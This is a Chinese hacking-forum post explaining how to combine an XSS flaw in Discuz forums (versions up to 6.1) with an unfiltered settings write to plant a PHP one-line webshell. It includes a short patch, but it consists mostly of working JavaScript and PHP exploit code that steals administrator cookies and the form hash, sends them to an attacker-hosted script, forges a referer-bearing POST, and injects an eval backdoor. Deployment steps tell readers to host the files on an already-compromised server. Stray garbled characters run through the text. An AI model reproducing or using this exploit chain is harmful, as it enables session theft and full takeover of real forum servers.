Discuz XSS得webshell
2 b8 N! ~3 i) e0 `By racle @tian6.com, a. s9 T# s! T! _
欢迎转帖.但请保留版权信息.
0 u+ w7 Y0 N9 |- u受影响版本 iscuz<=6.1.0,gbk+utf+big5' b; h+ o8 z; Z: E6 ^
+ w% v9 b8 }% q4 R$ ~2 P
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.* i0 Q- @1 q2 z( P
9 V* X; a" D3 V7 w: m+ H4 S+ x! Q
. G* Z. |2 j m4 J$ c. n3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706" {! P$ f0 A9 o) n
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.- V; S) g5 R+ L$ w. o5 N
5 Q4 S5 G& J" S
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..1 _" S1 \0 n* q& v) ~
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
' q/ G. @; f' m) V
6 b- g& [: ^% h) p2 {/ X; ^
. t: D3 F( \# n! j* v----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------8 k- \- i P5 m
0 X4 j; X9 p: T, {7 [, W/ ^! I
7 s9 n; O6 u" U; U& e6 g& Qproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.2 C7 ~8 G. E$ l: E X+ [8 ~4 X& d' d
" d& r' ~* @1 W0 j( Q7 y3 u4 c
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
3 y( a8 W' d1 P: [/ r6 G: _
/ x% v5 Q: u) f& x$ V9 Jproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
, d9 `% z+ [0 k% d3 f6 Q c; ^2 e
9 \/ j; ^' l) q6 @2 _* f9 W' a- {
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
5 p0 i( q' f+ U: J
/ v8 v) d: O4 z# m global $runwizardfile, $runwizardhistory;
: h$ o8 y* p3 K5 t! b
' G5 \% l7 C. S $fp = fopen($runwizardfile, 'w');. J9 q3 J* @& X2 L" c, N
" d- T2 k* n$ T7 t% K V fwrite($fp, serialize($runwizardhistory));
7 M: c& G0 `+ ?
- h q- n4 l8 G7 o+ ^6 @8 Q+ e fclose($fp);# J4 V( t' N4 Y7 C5 I- ]4 R
- V5 R' ?# C: G: D}
& K3 J& b) D7 p3 R复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.4 m5 a5 {- j3 ^" ^! U
以下是修补的办法:function saverunwizardhistory() {) \# J# r+ A: U5 G8 }$ [
: l r& S! @ g) C" M& q1 F- F global $runwizardfile, $runwizardhistory;
% c* N r# M9 _! _9 t' e
& ]. N6 S8 C/ C, @8 O, N $fp = fopen($runwizardfile, 'w');1 i8 f) E# i O) `6 ~0 Y& P/ e! c% _
% u& i. n; C" b8 K* S% [ $s = '<?php exit;?>';
' Z. i/ b4 c2 z/ [0 V& t' v4 u; I A5 W* b, G7 o
$s .= serialize($runwizardhistory);; ~& a% Q7 ^+ N- D6 [7 |
- Y* l. d+ z. P6 `/ T- F' D
fwrite($fp, $s);
; H+ n, \1 F) M: d7 u) ~0 E
* l9 Q7 I5 ?3 O5 r7 B$ ]# G fclose($fp);
L- x# k. r$ \( x# A+ _. k/ N5 p5 y8 a+ ?8 e6 [# Z- d6 f
}
% G! s1 v% t x. C3 _# m9 L复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
0 N# b$ E. {) P/ Y# m. R- A3 y4 W5 b9 [& D! y; w5 J
& F1 u0 b; ]; R) e# T- b
$ c) F/ w, x5 ]. c% x----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------; J; d, g$ P" S A% X& L* @1 @4 B8 _+ L
; Z# g; x9 u6 a# D& h
+ d2 q1 o; r- A, x3 E3 H; d. p 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.* G7 \5 [- o/ K5 ?
' D' d) g W# _5 a0 }
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: D! r/ U6 K0 W; G% O
( z6 {. `1 ]1 `% P这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.0 e) a$ b3 Y) Z! \2 l9 N2 k( J$ |( S) z
3 i3 X: A6 D4 j0 ^) }( x7 C) a4 z8 j首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:* N( N/ v; R3 V2 e& d
0 }$ k6 g# H4 c7 A
var url="http://目标网站/admincp.php"; : i7 d/ k5 r w) w6 Y
4 h6 I* l0 g0 t/*获得cookies*/! y0 m _) b! b+ H9 a
D" j& i' E' [8 a: A- @/ ]
function getURL(s) {
; j2 Z5 u% S& }$ O, F0 K( b6 H" Z; E4 f( ^* o# n/ k. e5 T
var image = new Image();
8 Y/ r( j! ^$ Q% P1 x+ Y/ a. f
) i7 W0 d& }; |' t6 Zimage.style.width = 0; @6 ], r6 x" J0 ^0 F
& @% V. J ]3 v3 Gimage.style.height = 0;4 G( K' P3 e7 S/ u }( q
3 B2 `3 F% y$ {- q2 z7 p
image.src = s;
& o6 H, G! j' v, E
! x1 [& A5 a) A$ g}
2 g6 n; W- r0 s) A9 T0 y3 j/ y; F( E7 M3 T- B+ v \
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
; ?; \' P |0 v复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];0 V2 s- k' S. }- O, e) Q, O9 @( v
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 6 \; C, K0 R! K* @: S7 Q
' a; F9 L; M' @1 I! d1 P( d" i! x5 H& k4 Q9 X; Q1 ~
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
% x" B3 j Q& v& Y
1 x) l/ T& V6 ]! d& S6 }4 S% B. e t ?
5 p: Q. |) L' Z/ m; s9 }3 {/*hash*/
9 `! D/ q9 S+ E1 I( A& Q) X7 M2 a* Q D/ J( E
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");0 E0 D. w( m, ~8 m( l* i9 [
. z: B- o& F: t2 T' txmlHttpReq.open("GET", url+"admincp.php?action=home", false);
" C5 h9 R6 R. O( N8 A
" e# Q6 I6 r! {1 j. V% X: Z: RxmlHttpReq.send();+ q: V, b, v0 V0 l1 g
6 `0 B/ @) ^0 g9 w1 @$ c- f
var resource = xmlHttpReq.responseText;% Z6 B* b( j. V u$ T: U0 U
* Z) b/ \" i0 n- u9 V
var numero = resource.search(/formhash/);
, m, P1 W; O1 r4 m/ O% W: }# [( h2 I7 }! c
var formhash=encodeURIComponent(resource.substr(numero+17,8));8 K: d7 H w! Z; C2 O
( \% A/ F( U. k
& a" H7 f; Z- F: G7 W
; q9 u# J" F. _0 @$ W* \+ |
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ! U. l. u) A1 r; A, R5 n
2 j5 j" D y, ^6 L" X! O* `' HxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
# t5 V" O. U, {2 q) v! g3 |0 b! B4 A/ U$ N) D8 ]8 @" ]1 T) A4 u
xmlHttpReq.setRequestHeader("Referer", url);& j" u2 ~" z# W f- d
& T# h ]% m d" D. ]/ ExmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! x. w$ z9 i3 L( i2 n7 M
3 V7 Z$ x& s# D% A k& ZxmlHttpReq.setrequestheader("content-length",post.length);
( a' M) v2 h+ }/ I
, B4 n$ @$ ]0 ]$ k" P# exmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
) s; z6 c! k( p' B0 T% U) q- z6 Q
. _4 Q3 t) E K F; ~; `' XxmlHttpReq.send(post);//发送数据
. v }, z1 h: J, B" k, Q) @6 U复制代码这里HASH我假设正确,这样提交,也无须cookies# H; e& Z; u/ E% F' K( q# s2 r
2 G) N/ I6 d: B3 C/ @% s
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);' k! g n/ X+ H! |; g" Y( w
# u% B! t: s1 N, q# H) C* B
if (!$sock) die("$errstr ($errno)\n");! Q$ X6 ?2 B s; ] f9 d
- h0 V! U% l+ y4 k# V
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
0 N0 M& c- F6 g7 ]" ]& V' N+ A0 \- g8 w; U$ A( K" H; H* Y) W
. `8 {/ R( n3 [5 f
P" }8 |$ a6 i3 [fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
; V9 q2 o. |0 P6 K) c! {% @4 J0 G4 S+ X; H3 c5 l+ I! D/ J7 T" k
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
; N" m d/ d$ l- g
5 a8 G$ ~" M! u* Jfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
# z2 Q% k1 O1 Q; _* m# }' b
5 `$ a) }$ F* Z* x- Jfwrite($sock, "Accept-Language: zh-cn\r\n");
# k8 ~* ~9 f$ _5 f7 [$ q, g' X d
+ W. N0 q6 t6 a! wfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- A5 L5 e3 O4 k1 A
. K7 j' H: _0 T- n1 V, p9 k, h& }fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");) R( z; k2 C; h7 \8 p. ^
6 V6 Q; ^ C2 Q e/ m2 k
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"); ?/ b+ q: u& [/ w) V
6 }! ^$ L/ z: {7 D. m& v) I
fwrite($sock, "Host: $url\r\n");5 l5 v3 w2 R* |' v
% F4 T3 S- [' U( r/ xfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
* _8 M& t% d- I+ M5 o" C$ k- L2 L5 n% j% _! Z( U
fwrite($sock, "Connection: Keep-Alive\r\n");
$ w$ Y5 t1 C8 P- A/ {( O5 E- H5 z0 @
fwrite($sock, "Cache-Control: no-cache\r\n");6 j( l7 @" i! I, K& t" m
! [6 c# u7 E% G! N' L6 k
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");1 @! N* N! U+ v% p( p5 B V, U
' g9 E. r' [0 h Zfwrite($sock, $data);; ^ L* `$ F$ s1 I3 c7 _; y
: o7 y5 \- W5 u/ y; X, d; G! @
6 ~0 j/ W/ U4 T6 N
4 k0 D! O, a; n6 R3 p: v0 x
$headers = "";& J6 j3 Q e" @" F4 d# A6 _2 {
3 f) O# S( s2 y* F8 L8 u1 D
while ($str = trim(fgets($sock, 4096)))
8 r8 `7 w( g# ?+ x
5 [; T2 O! u }! x $headers .= "$str\n";: v: r( ~$ @$ Q* n& |
( v5 }& a; _7 N6 _3 d' N5 l$ iecho "\n";
8 c+ X4 ?3 Z# O& F
; F# A9 x6 n# Z4 E, {- H$body = "";3 [& x( m% y) D& e
& t- u4 Q1 G, s) r
while (!feof($sock))
3 ^4 p% E4 m0 I& n
; ~) k, r6 C. q, Z+ I $body .= fgets($sock, 4096);7 Q: M k6 z& _, c4 r
; X: f8 \& {, Y' r
fclose($sock);
8 Y" ]9 j4 L. {2 G3 L1 [, L
: G, L: F U; ^echo $body;
. {7 k( W0 R# t复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
7 a/ k. T" m/ L* c- p" S: M
# {7 D( U: ^5 ?, e
0 Y/ f( d( c \2 P' a" ], O2 o4 ^5 w-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
% A8 x8 F. |$ h: G
4 _8 b! [" `0 ?( w* b
- u; {' J% e6 Y. P5 w o! l1 HP SOCKET利用方法首先打开racle.js; J( Z B6 F5 S! S P3 M+ v/ e2 R
2 p- T; V# s" zvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
5 k5 @: N$ p6 U0 f$ L' g( R+ J3 |4 V K: W+ J- J
6 ~7 C2 m1 E' h9 ?& I5 _ P( ]) J
0 T6 z% T9 q. ^2 X然后打开racle@tian6.php
/ T: r5 R9 J( e# i, z8 C* f5 P) t& W, J, Q$ F
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com/ E6 o: r( f" d+ e
0 N" {0 ]& j! D- u& j/ k, R }5 K8 _. {5 a2 j
4 ~ ?; }) w" a/ K
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
5 ?4 `1 D0 v) k' A$ r) C+ P4 d: c( Q, S* Y. I5 _$ @
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));* `! m/ J. w# ~2 m. j. {4 d, P9 O
+ l e6 d# R. o; v, i为
4 n# l4 N/ h1 m9 C9 }/ N7 e2 V, I! V r
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));7 l5 [. o7 ?, d: {7 a- M! S
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址., S' P+ H# V/ U* U
' i- B- k! |7 o+ V# h- L |. b
$ o$ y& b4 ?. O$ d# H
+ _! `8 `( n2 K如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:" J2 X0 I& t; c4 y) a7 F) U
& m0 |) N$ g- M8 N
var formhash=encodeURIComponent(resource.substr(numero+17,8));" z. S; }! p4 m/ b% ~/ n* S; U6 {
( ^* A2 L C$ [, Z为
- P7 b: l2 ^3 W5 v, E1 \2 b& s/ U# x( {2 Q
var formhash=encodeURIComponent(resource.substr(numero+9,8));# v, X1 e0 G$ B; S2 n7 c
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.2 [- D4 B2 q+ W: L I( [, k3 o) K5 Y
1 Q* m( ]6 i; a$ f0 |$ r D5 \' R
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
; ^; T% I, I; S. f) K1 p- S+ ?7 T$ j8 `1 o9 a; t* w
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.8 U6 n' m2 ]4 ^* u+ t& [" ]
* @1 Q5 `4 C" C/ z( x) D8 {不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
9 @6 r; u- z v$ a
# i( b: t2 @( @! P9 {% f |